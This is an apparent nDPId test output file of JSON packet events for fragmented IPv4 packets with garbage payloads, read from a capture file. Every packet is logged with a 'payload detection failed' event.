+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433959,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433971,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":433998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434034,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434074,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434101,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434113,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434307,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":434345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 